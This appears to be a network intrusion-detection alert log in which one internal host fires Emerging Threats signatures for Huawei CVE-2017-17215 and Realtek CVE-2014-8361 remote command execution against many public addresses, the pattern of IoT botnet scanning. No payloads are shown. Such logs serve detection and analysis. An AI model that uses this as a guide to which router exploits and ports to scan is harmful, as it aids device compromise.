07/20/24-23:01:14.472855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57834	37215	192.168.2.14	41.0.108.16
07/20/24-23:01:25.294838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60386	52869	192.168.2.14	186.138.141.187
07/20/24-23:01:19.335313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55950	37215	192.168.2.14	157.71.235.143
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44298	37215	192.168.2.14	41.75.239.39
07/20/24-23:01:06.599622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48578	52869	192.168.2.14	209.87.192.88
07/20/24-23:01:07.682291	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54744	37215	192.168.2.14	41.26.93.154
07/20/24-23:01:05.628737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47046	52869	192.168.2.14	190.144.135.107
07/20/24-23:01:37.121609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48214	37215	192.168.2.14	41.39.167.156
07/20/24-23:01:35.095222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45482	52869	192.168.2.14	180.84.13.38
07/20/24-23:01:14.397957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36440	37215	192.168.2.14	36.55.148.89
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51704	37215	192.168.2.14	157.189.92.28
07/20/24-23:01:34.899907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41680	52869	192.168.2.14	223.29.150.196
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37672	37215	192.168.2.14	197.14.126.34
07/20/24-23:01:37.121494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53028	37215	192.168.2.14	41.253.110.40
07/20/24-23:01:05.803717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43400	52869	192.168.2.14	116.111.12.206
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51778	37215	192.168.2.14	197.252.184.130
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57638	37215	192.168.2.14	157.122.148.214
07/20/24-23:01:11.448569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40356	37215	192.168.2.14	41.90.192.107
07/20/24-23:01:24.078342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42294	52869	192.168.2.14	39.28.170.200
07/20/24-23:01:02.414851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46822	37215	192.168.2.14	81.216.201.21
07/20/24-23:01:14.407391	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44752	37215	192.168.2.14	197.216.160.162
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37912	37215	192.168.2.14	157.106.54.46
07/20/24-23:01:25.290247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34512	37215	192.168.2.14	197.30.224.46
07/20/24-23:01:28.216939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42364	37215	192.168.2.14	141.62.102.149
07/20/24-23:01:25.285323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36668	37215	192.168.2.14	90.236.30.131
07/20/24-23:01:22.850149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48528	52869	192.168.2.14	125.202.144.54
07/20/24-23:01:29.185354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48490	52869	192.168.2.14	52.221.200.218
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35508	37215	192.168.2.14	162.152.158.39
07/20/24-23:01:05.612883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46400	52869	192.168.2.14	93.255.94.157
07/20/24-23:01:22.796666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36550	37215	192.168.2.14	157.77.118.133
07/20/24-23:01:23.184455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60162	37215	192.168.2.14	197.228.92.249
07/20/24-23:01:07.653968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50684	37215	192.168.2.14	109.237.129.172
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35594	37215	192.168.2.14	41.79.163.126
07/20/24-23:01:14.428293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57644	37215	192.168.2.14	197.179.161.50
07/20/24-23:01:25.387257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44032	52869	192.168.2.14	84.193.36.239
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48560	37215	192.168.2.14	197.76.153.239
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55556	37215	192.168.2.14	41.68.222.107
07/20/24-23:01:29.171040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39428	52869	192.168.2.14	197.254.135.133
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48158	37215	192.168.2.14	88.254.65.6
07/20/24-23:01:11.472603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34748	37215	192.168.2.14	41.122.35.63
07/20/24-23:01:02.411450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57302	37215	192.168.2.14	41.233.169.62
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44850	37215	192.168.2.14	41.145.104.63
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58654	37215	192.168.2.14	157.62.137.190
07/20/24-23:01:14.397066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56532	37215	192.168.2.14	41.161.8.250
07/20/24-23:01:22.792727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41780	37215	192.168.2.14	41.156.90.20
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42800	37215	192.168.2.14	41.172.66.80
07/20/24-23:01:34.939612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53134	52869	192.168.2.14	180.166.72.99
07/20/24-23:01:13.333893	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39776	52869	192.168.2.14	147.24.204.167
07/20/24-23:01:22.801376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49402	37215	192.168.2.14	197.84.97.78
07/20/24-23:01:02.405571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55680	37215	192.168.2.14	197.12.227.51
07/20/24-23:01:13.331310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51646	52869	192.168.2.14	77.164.7.36
07/20/24-23:01:13.331580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55402	52869	192.168.2.14	194.147.115.196
07/20/24-23:01:34.903669	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54692	52869	192.168.2.14	172.52.92.23
07/20/24-23:01:19.221647	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39246	37215	192.168.2.14	34.155.160.150
07/20/24-23:01:34.937254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39862	52869	192.168.2.14	138.145.119.211
07/20/24-23:01:34.945022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51246	52869	192.168.2.14	222.252.238.17
07/20/24-23:01:05.460763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47030	52869	192.168.2.14	177.26.169.251
07/20/24-23:01:11.452806	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41070	37215	192.168.2.14	157.78.140.44
07/20/24-23:01:23.079615	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44326	52869	192.168.2.14	171.71.112.103
07/20/24-23:01:22.783280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42930	37215	192.168.2.14	197.34.216.226
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57976	37215	192.168.2.14	151.173.29.9
07/20/24-23:01:34.902184	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42246	52869	192.168.2.14	209.57.40.96
07/20/24-23:01:34.920163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35522	52869	192.168.2.14	66.20.90.81
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36022	37215	192.168.2.14	117.170.200.63
07/20/24-23:01:22.792727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35516	37215	192.168.2.14	2.51.166.193
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47860	37215	192.168.2.14	41.213.121.33
07/20/24-23:01:11.454990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36974	37215	192.168.2.14	41.22.174.90
07/20/24-23:01:06.133183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44268	52869	192.168.2.14	5.43.253.115
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45474	37215	192.168.2.14	157.203.119.152
07/20/24-23:01:37.234827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50860	37215	192.168.2.14	197.163.35.115
07/20/24-23:01:34.932468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38506	52869	192.168.2.14	206.125.101.194
07/20/24-23:01:25.292315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46822	52869	192.168.2.14	78.159.95.203
07/20/24-23:01:33.572374	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52992	52869	192.168.2.14	87.188.195.240
07/20/24-23:01:06.552778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53066	52869	192.168.2.14	36.44.157.9
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35292	37215	192.168.2.14	197.150.204.218
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40060	37215	192.168.2.14	157.173.59.248
07/20/24-23:01:29.175082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33652	52869	192.168.2.14	222.154.38.130
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37986	37215	192.168.2.14	197.25.181.212
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50488	37215	192.168.2.14	157.157.105.102
07/20/24-23:01:05.898353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58892	37215	192.168.2.14	41.63.204.221
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60522	37215	192.168.2.14	197.88.167.36
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49402	37215	192.168.2.14	49.240.11.144
07/20/24-23:01:14.440842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58900	37215	192.168.2.14	197.127.134.5
07/20/24-23:01:33.848107	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52434	52869	192.168.2.14	88.254.0.55
07/20/24-23:01:05.442608	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57236	52869	192.168.2.14	82.44.225.133
07/20/24-23:01:02.441202	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58446	37215	192.168.2.14	197.177.30.83
07/20/24-23:01:19.236523	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57386	37215	192.168.2.14	197.244.58.180
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39010	37215	192.168.2.14	162.255.63.124
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54434	37215	192.168.2.14	197.23.36.31
07/20/24-23:01:37.217137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42522	37215	192.168.2.14	157.22.26.151
07/20/24-23:01:02.400873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44016	37215	192.168.2.14	24.34.240.214
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37940	37215	192.168.2.14	157.121.176.8
07/20/24-23:01:34.111983	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57580	52869	192.168.2.14	24.110.26.135
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51892	37215	192.168.2.14	41.158.158.252
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52904	37215	192.168.2.14	157.44.22.241
07/20/24-23:01:28.214698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36422	37215	192.168.2.14	157.30.110.231
07/20/24-23:01:33.740102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55578	52869	192.168.2.14	61.27.5.72
07/20/24-23:01:14.398934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52752	37215	192.168.2.14	168.128.167.80
07/20/24-23:01:34.920163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35522	52869	192.168.2.14	66.20.90.81
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40244	37215	192.168.2.14	197.22.117.180
07/20/24-23:01:33.037346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52652	37215	192.168.2.14	97.0.242.117
07/20/24-23:01:24.732777	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59754	52869	192.168.2.14	43.140.238.166
07/20/24-23:01:34.214142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42082	52869	192.168.2.14	74.8.125.187
07/20/24-23:01:34.909156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41926	52869	192.168.2.14	167.127.222.117
07/20/24-23:01:33.040754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33802	37215	192.168.2.14	155.83.108.84
07/20/24-23:01:13.329548	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48892	52869	192.168.2.14	158.178.147.148
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37862	37215	192.168.2.14	197.24.95.135
07/20/24-23:01:14.440842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52294	37215	192.168.2.14	157.207.30.18
07/20/24-23:01:19.222597	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54498	37215	192.168.2.14	74.70.219.36
07/20/24-23:01:02.412791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56944	37215	192.168.2.14	197.200.12.199
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60442	37215	192.168.2.14	41.224.168.193
07/20/24-23:01:22.988072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42048	52869	192.168.2.14	39.28.170.200
07/20/24-23:01:13.329548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43438	52869	192.168.2.14	39.70.52.243
07/20/24-23:01:34.935674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59880	52869	192.168.2.14	165.75.84.143
07/20/24-23:01:19.233507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32940	37215	192.168.2.14	141.111.126.230
07/20/24-23:01:13.330806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43954	52869	192.168.2.14	149.86.2.31
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35610	37215	192.168.2.14	157.136.175.137
07/20/24-23:01:13.336391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49180	52869	192.168.2.14	196.159.190.117
07/20/24-23:01:06.357829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36720	52869	192.168.2.14	60.68.1.166
07/20/24-23:01:34.965835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54264	52869	192.168.2.14	150.10.126.44
07/20/24-23:01:24.763986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46918	52869	192.168.2.14	201.188.111.248
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55026	37215	192.168.2.14	27.56.80.118
07/20/24-23:01:24.075920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59924	52869	192.168.2.14	147.31.96.80
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49520	37215	192.168.2.14	41.218.46.143
07/20/24-23:01:05.458731	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41716	52869	192.168.2.14	64.117.200.225
07/20/24-23:01:02.414850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54462	37215	192.168.2.14	157.81.103.110
07/20/24-23:01:13.329548	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43438	52869	192.168.2.14	39.70.52.243
07/20/24-23:01:02.417044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59758	37215	192.168.2.14	157.59.236.255
07/20/24-23:01:34.902376	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57374	52869	192.168.2.14	66.217.163.116
07/20/24-23:01:32.490422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34704	52869	192.168.2.14	71.235.40.59
07/20/24-23:01:33.871572	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32882	52869	192.168.2.14	151.151.89.112
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59774	37215	192.168.2.14	41.79.186.119
07/20/24-23:01:07.668439	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48818	37215	192.168.2.14	207.29.111.74
07/20/24-23:01:30.858584	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45332	52869	192.168.2.14	135.89.106.236
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46804	37215	192.168.2.14	157.142.189.209
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42980	37215	192.168.2.14	157.60.163.175
07/20/24-23:01:11.474688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40740	37215	192.168.2.14	197.129.87.164
07/20/24-23:01:23.056114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46648	52869	192.168.2.14	4.227.121.101
07/20/24-23:01:13.331420	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50730	52869	192.168.2.14	209.88.50.174
07/20/24-23:01:31.972321	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39046	52869	192.168.2.14	52.100.4.60
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52568	37215	192.168.2.14	157.136.217.55
07/20/24-23:01:28.386042	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55342	37215	192.168.2.14	133.108.198.161
07/20/24-23:01:13.334387	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50220	52869	192.168.2.14	5.108.28.159
07/20/24-23:01:14.397263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43480	37215	192.168.2.14	41.96.220.109
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45086	37215	192.168.2.14	197.153.78.108
07/20/24-23:01:02.415259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55584	37215	192.168.2.14	197.102.177.131
07/20/24-23:01:05.767682	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54000	52869	192.168.2.14	54.198.216.131
07/20/24-23:01:22.779153	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49104	37215	192.168.2.14	41.165.214.124
07/20/24-23:01:34.909156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44846	52869	192.168.2.14	170.186.56.154
07/20/24-23:01:11.486486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48836	37215	192.168.2.14	197.153.53.108
07/20/24-23:01:34.940229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48114	52869	192.168.2.14	163.83.107.67
07/20/24-23:01:05.822299	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57638	52869	192.168.2.14	124.90.204.138
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59228	37215	192.168.2.14	41.133.187.180
07/20/24-23:01:19.337916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38148	37215	192.168.2.14	19.177.37.36
07/20/24-23:01:34.907114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58900	52869	192.168.2.14	139.72.178.53
07/20/24-23:01:24.736868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38976	52869	192.168.2.14	94.133.203.252
07/20/24-23:01:25.379837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60940	52869	192.168.2.14	47.157.17.225
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52052	37215	192.168.2.14	201.115.243.108
07/20/24-23:01:05.908608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33246	37215	192.168.2.14	157.166.67.79
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41486	37215	192.168.2.14	41.107.120.247
07/20/24-23:01:34.958511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39004	52869	192.168.2.14	142.221.175.109
07/20/24-23:01:05.863035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36548	52869	192.168.2.14	72.184.169.139
07/20/24-23:01:33.081950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53164	37215	192.168.2.14	157.13.53.30
07/20/24-23:01:25.231151	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45168	37215	192.168.2.14	197.126.75.92
07/20/24-23:01:13.331144	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55172	52869	192.168.2.14	54.198.216.131
07/20/24-23:01:05.896134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35360	37215	192.168.2.14	41.116.147.110
07/20/24-23:01:29.745031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50792	52869	192.168.2.14	41.37.91.19
07/20/24-23:01:29.528866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56818	52869	192.168.2.14	1.119.230.113
07/20/24-23:01:33.030189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46408	37215	192.168.2.14	157.133.211.214
07/20/24-23:01:06.136528	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43994	52869	192.168.2.14	173.77.175.8
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42796	37215	192.168.2.14	41.26.105.139
07/20/24-23:01:29.175082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40484	52869	192.168.2.14	111.237.207.198
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60278	37215	192.168.2.14	158.242.45.146
07/20/24-23:01:13.331537	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47176	52869	192.168.2.14	145.114.175.209
